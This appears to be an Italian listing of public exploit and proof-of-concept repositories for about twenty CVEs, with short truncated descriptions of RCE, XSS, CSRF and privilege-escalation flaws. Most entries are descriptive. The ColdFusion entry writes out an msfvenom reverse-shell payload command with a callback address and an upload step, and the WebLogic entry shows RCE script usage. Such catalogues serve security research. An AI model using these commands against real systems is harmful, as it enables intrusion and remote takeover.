CVE-2021-3493_CVE-2022-3357

NOTA 1. Questo è un repository GitHub contenente il codice sorgente e le informazioni di ricerca relative a 2 CVE: CVE-2021-3493 e CVE-2022-3357, rispettivamente una CVE che consente l'escalation dei privilegi e una CVE che consente l'intrusione RCE. Combinando queste 2 CVE è possibile intrufolar...

CVE-2018-7602

CVE-2018-7602 Una vulnerabilità di esecuzione remota di codice esiste all'interno di molti sottosistemi di Drupal 7.x e 8.x. Ciò consente potenzialmente agli attaccanti di sfruttare molteplici vettori d'attacco su un sito Drupal, il che può comportare il compromettersi del sito. Questa...

CVE-2025-3248

Exploit di Langflow CVE-2025-3248 Un exploit basato su Python per CVE-2025-3248, che consente ad attaccanti remoti non autenticati di eseguire codice arbitrario su istanze Langflow vulnerabili tramite richieste HTTP appositamente create. Caratteristiche Scansione di un singolo URL o in massa da...

CVE-2021-26855-exploit-Exchange

CVE-2021-26855 exploit-Exchange Scansione automatica del mondo ed exploit automatico di rce Di EOG Team...

distccd_rce_CVE-2004-2687

distccdrceCVE-2004-2687 🖥️ -h3x0v3rl0rd- ️⃣ CVE-2004-2687 ️⃣ Aggiornato a Python3 Panoramica Questo repository contiene un exploit Proof of Concept PoC per la vulnerabilità distccd identificata come CVE-2004-2687. La vulnerabilità esiste nel demone distccd, che fa parte del sistema di compilazione...

CNTA-2019-0014xCVE-2019-2725

CNTA-2019-0014-CVE-2019-2725 Disclaimer: questo strumento è destinato esclusivamente a test di sicurezza e fini didattici; è vietato qualsiasi uso illegale. root@kitploit: Usage:python3 weblogicrce.py url command is echo? win or linux Per un'analisi dettagliata, consulta:...

CVE-2020-0796-exp

SMBGhostRCEPoC PoC di RCE per CVE-2020-0796 "SMBGhost" Solo a scopo dimostrativo! Usalo solo come riferimento. Sul serio. Non è stato testato al di fuori del mio ambiente di laboratorio. È stato scritto in fretta e ha bisogno di qualche miglioramento per essere più affidabile. A volte provoca un...

CVE-2024-7120-Exploit-by-Dark-07x

Iniezione di comandi nei dispositivi Raisecom CVE-2024-7120 Prova di concetto! Panoramica È stata identificata una vulnerabilità di iniezione di comandi nei dispositivi gateway RAISECOM, che interessa i modelli MSG1200, MSG2100E, MSG2200 e MSG2300. Questa vulnerabilità consente a un attaccante...

CVE-2024-56924

CVE-2024-56924 Descrizione della vulnerabilità Una vulnerabilità di Cross-Site Request Forgery CSRF esiste nel sistema Internet Banking "astro" versione 2.0.0, che consente a un attaccante remoto di effettuare azioni non autorizzate per conto di utenti autenticati, come gli amministratori, senza...

CVE-2025-22604-Cacti-RCE

CVE-2025-22604-Cacti-RCE...

CVE-2020-1938-Exploitation

CVE-2020-1938 Sfruttamento Apache Tomcat: caricamento arbitrario di JSP che porta a RCE Descrizione CVE-2020-1938 è una vulnerabilità critica che colpisce Apache Tomcat dalla versione 9.0.0.M1 alla 9.0.0.30, dalla 8.5.0 alla 8.5.50 e dalla 7.0.0 alla 7.0.99 ⚠️ Questa è stata sfruttata in un lab di...

CVE-2019-11043

CVE-2019-11043 Descrizione della vulnerabilità Su NgiNginx, quando fastcgisplitpathinfo elabora una richiesta contenente %0a, PATHINFO diventa vuoto a causa del carattere di nuova riga \n. php-fpm, quando gestisce PATHINFO vuoto, presenta un difetto logico. Un attaccante, attraverso una costruzio...

CVE-2025-25747-HotelDruid-3-0-7-Reflected-XSS

CVE-2025-25747 - Vulnerabilità XSS riflessa in HotelDruid 3.0.7 Descrizione La vulnerabilità Cross Site Scripting in DigitalDruid HotelDruid v.3.0.7 consente a un attaccante di eseguire codice arbitrario e ottenere informazioni sensibili tramite il parametro ripristinabackup nell'endpoint...

CVE-2009-2265

Versione: ColdFusion 8.0.1 CVE-2009-2265 msfvenom -p java/jspshellreversetcp LHOST=10.10.14.12 LPORT=4444 -f raw shell.jsp python upload.py 10.10.10.11 8500 shell.jsp Esempio :...

CVE-2018-19518

CVE-2018-19518 ultimo report qui : https://gitlab.com/ensimag-security/CVE-2018-19518/-/jobs/artifacts/master/raw/rapport.pdf?job=PDF Utilizzo avvia l'app root@kitploit: docker-compose up -d esempio di utilizzo normale per l'app web. imap : webmail.grenoble-inp.org utente : [email protected]...

CVE-2015-1635-POC

️⃣ CVE-2015-1635-POC Esecuzione remota di codice in HTTP.sys MS15-034...

CVE-2020-5902-fofa-scan

CVE-2020-5902-fofa-scan Introduzione F5 BIG-IP vulnerabilità di esecuzione remota di codice CVE-2020-5902, script di scansione fofa Condizioni di utilizzo Utente fofa, inserire il valore di fofaproarssession. Modificare manualmente il valore keyword alla riga 12. Modificare manualmente l'interval...

cve-2020-8165-demo

CVE-2020-8165 Demo Yet another demo of CVE-2020-8165, though in a more realistic implementation than most. Contesto CVE-2020-8165 Esiste una vulnerabilità di deserializzazione di dati non attendibili in rails 5.2.4.3, rails 6.0.3.1 che può consentire a un attaccante di fare unmarshal di oggetti...

CVE-2024-34832

CubeCart - Directory Traversal può portare a RCE CVE-2024-34832 TL;DR Nel pannello di amministrazione, parametri come g e node vengono usati per costruire il percorso per includere file .inc.php ed eseguire codice PHP. Un utente malintenzionato con la possibilità di caricare file .inc.php in...

CVE-2022-24112

Apache APISIX 2.12.x - Exploit di Esecuzione Remota di Codice RCE Questo script Python è una Proof-of-Concept PoC per una vulnerabilità di esecuzione remota di codice RCE in Apache APISIX versioni 2.12.0 e 2.12.1. La vulnerabilità risiede nell'uso improprio del campo Lua filterfunc all'interno...